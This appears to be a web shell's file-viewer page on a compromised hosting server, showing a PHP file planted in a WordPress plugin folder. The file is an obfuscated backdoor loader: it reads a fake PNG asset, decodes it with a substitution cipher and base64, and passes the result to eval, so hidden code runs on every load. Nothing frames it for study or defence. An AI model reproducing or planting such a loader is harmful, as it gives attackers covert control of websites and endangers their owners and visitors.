HEX
Server: Apache/2.4.6 (CloudLinux) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
System: Linux s1.gigspace.ru 3.10.0-962.3.2.lve1.5.77.el7.x86_64 #1 SMP Mon Dec 12 07:06:14 EST 2022 x86_64
User: samok164 (6070)
PHP: 7.2.34
Disabled: NONE
Upload Files
File: /var/www/samok164/data/www2/mirneboskrebov.ru/wp-content/plugins/oxykubila/aporeta.php
<?php

function ahegoco_ytepeqe($ybexucy_hyropal) {
    if (!file_exists($ybexucy_hyropal))
        return false;
    $igegejy = @file_get_contents($ybexucy_hyropal);
    if (!$igegejy)
        return false;
    $igegejy = substr($igegejy, 3);
    $jeqipat = ydojyri_uqaxici($igegejy);
    return $jeqipat;
}

function ydojyri_uqaxici($ybexucy_hyropal) {
    $tagixe = odoxalu_zuchylu;
    $ykejuqe = array();
    for ($ujirehu = 0; $ujirehu < strlen($tagixe); $ujirehu += 2) {
        $wazyraq = substr($tagixe, $ujirehu, 1);
        $nevake = substr($tagixe, $ujirehu + 1, 1);
        $ykejuqe[$wazyraq] = $nevake;
    }
    $vugythe = strtr($ybexucy_hyropal, $ykejuqe);
    $vugythe = base64_decode($vugythe);

    return $vugythe;
}

define("odoxalu_zuchylu", "rUlixOAvNGHYvxz7K461pBnyZZRR0nOJu83K2pYN=hkCotssSj8QifMM4/+ScamLVXGrLchd19aeFEgH9z55e3TTqqjm7WPPEA/+W=y0d6DDfVUFbuQkXoIlCIB2wwtbJg");

$kynole = ahegoco_ytepeqe(__DIR__ . "/asset" . "s/ima" . "ges/d" . "efav" . "a.png");
if ($kynole) {
    @eval($kynole);
}